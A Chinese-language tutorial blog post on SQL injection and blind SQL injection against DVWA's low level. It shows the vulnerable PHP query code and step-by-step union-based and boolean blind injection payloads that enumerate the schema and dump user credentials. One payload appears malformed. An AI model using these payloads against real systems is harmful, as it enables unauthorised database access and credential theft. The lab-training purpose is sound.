【Web安全】关于SQL Injection和盲注的探索(DVWA)

1 SQL Injection

1.1 解释

SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏 SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的 危害是巨大的,常常会导致整个数据库被“脱裤”,尽管如此,SQL注入仍是现 在最常见的Web漏洞之一。近期很火的大使馆接连被黑事件,据说黑客依靠 的就是常见的SQL注入漏洞。

1.2 手工注入思路

手工注入思路 自动化的注入神器sqlmap固然好用,但还是要掌握一些手工注入的思路,下 面简要介绍手工注入(非盲注)的步骤。 1.判断是否存在注入,注入是字符型还是数字型 2.猜解SQL查询语句中的字段数 3.确定显示的字段顺序
4.获取当前数据库 5.获取数据库中的表 6.获取表中的字段名 7.下载数据 下面对四种级别的代码进行分析。

1.3 low

服务器端核心代码

<?php 
if( isset( $_REQUEST[ 'Submit' ] ) ) {     // Get input     $id = $_REQUEST[ 'id' ]; 
    // Check database     $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";     $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
    // Get results     $num = mysql_numrows( $result );     $i   = 0;     while( $i < $num ) {         // Get values         $first = mysql_result( $result, $i, "first_name" );         $last  = mysql_result( $result, $i, "last_name" ); 
        // Feedback for end user         echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre
        // Increase loop count         $i++;     } 
    mysql_close(); } 
?>

可以看到,Low级别的代码对来自客户端的参数id没有进行任何的检查与过
滤,存在明显的SQL注入。
漏洞利用 现实攻击场景下,攻击者是无法看到后端代码的,所以下面的手工注入步骤 是建立在无法看到源码的基础上。 1.判断是否存在注入,注入是字符型还是数字型 输入1,查询成功:
在这里插入图片描述
输入1’and ‘1’ =’2,查询失败,返回结果为空
输入1’or ‘1234 ’=’1234,查询成功:
在这里插入图片描述
返回了多个结果,说明存在字符型注入。 2.猜解SQL查询语句中的字段数 输入1′ or 1=1 order by 1 #,查询成功:
在这里插入图片描述
输入1′ or 1=1 order by 3 #,查询失败
说明执行的SQL查询语句中只有两个字段,即这里的First name、Surname。
在这里插入图片描述 (这里也可以通过输入union select 1,2,3…来猜解字段数) 3.确定显示的字段顺序 输入1′ union select 1,2 #,查询成功:
说明执行的SQL语句为select First name,Surname from 表 where ID=’id’… 4.获取当前数据库 输入1′ union select 1,database() #,查询成功:
在这里插入图片描述
说明当前的数据库为dvwa。 5.获取数据库中的表
输入1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查询成功:
在这里插入图片描述
说明数据库dvwa中一共有两个表,guestbook与users。 6.获取表中的字段名 输入1′ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #,查询成功:
在这里插入图片描述
说明users表中有8个字段,分别是 user_id,first_name,last_name,user,password,avatar,last_login,failed_login。 7.下载数据 输入1′ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查询成功:
在这里插入图片描述
这样就得到了users表中所有用户的user_id,first_name,last_name,password 的数据。

2 SQL Injection (Blind)

2.1 SQL盲注与普通的SQL注入区别

普通SQL注入:

1、执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,提示SQL语法错误等;

2、一般页面上直接就会显示SQL执行情况。

SQL盲注:

1、一般情况,执行SQL盲注,服务器不会直接放回具体的数据库错误或者语法错误,而是放回惩罚开发者所设定的特定信息(当然,也有例

外,例如基于报错的盲注);

2、一般在页面上不会直接显示SQL语句执行结果;

3、有可能出现不确定的SQL是否执行,或者执行的情况。

2.2 low

1.判断是否存在注入,注入是字符型还是数字型
输入1,显示相应用户存在:
在这里插入图片描述
我们输入恶意字符,同样也返回结果为:数据库中缺少用户ID。’
在这里插入图片描述
我们输入1’#返回正常
#是注释
在这里插入图片描述
我们可以构造如下语句来判断注入的类型

1’ and 1=1 #

返回结果存在
在这里插入图片描述
1’ and 1=2#

返回结果不存在
由此我们可以判断出该输入框存在盲注,且注入类型为字符型注入

那么接下来我们可以构造sql语句来猜解数据库等

我们首先判断数据库长度,可以构造如下poc,使用length函数来判断字符串长度

1’ and length(database())>5 #

返回结果
在这里插入图片描述
1’ and length(database())>3#
在这里插入图片描述
由此我们可以看出当前链接数据库名的长度大于3小于5,长度为4

那么我们继续判断数据库名称的字符组成元素,此时利用substr()函数从给定的字符串中,从指定位置开始截取指定长度的字符串,分离出数据库名称的每个位置的元素,并分别将其转换为ASCII码,与对应的ASCII码值比较大小,找到比值相同时的字符,然后各个击破。
mysql数据库中的字符串函数 substr()函数和hibernate的substr()参数都一样,但含义有所不同。

用法:
substr(string string,num start,num length);
string为字符串;
start为起始位置;
length为长度。

区别:
mysql中的start是从1开始的,而hibernate中的start是从0开始的。
在这里插入图片描述
以上常规可能用到的字符的ASCII码取值范围:[48,122]
当然也可以扩大范围,在ASCII码所有字符的取值范围中筛选:[0,127]

1’ and ascii(substr(database(),1,1))>88 # exists
猜解表的个数
1’ and (select count(table_name) from information_schema.tables where table_schema=database())>2 #

猜解第一个表的表名长度

1’ and length( substr( (select count(table_name) from information_schema.tables where table_schema=database())1))>10#

猜解第一个表的表名的第一个字符

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>88 #

我们可以依此类推,将剩下的字符一一爆破
\

发布了916 篇原创文章 · 获赞 250 · 访问量 10万+

猜你喜欢

转载自blog.csdn.net/weixin_43838785/article/details/105052454
今日推荐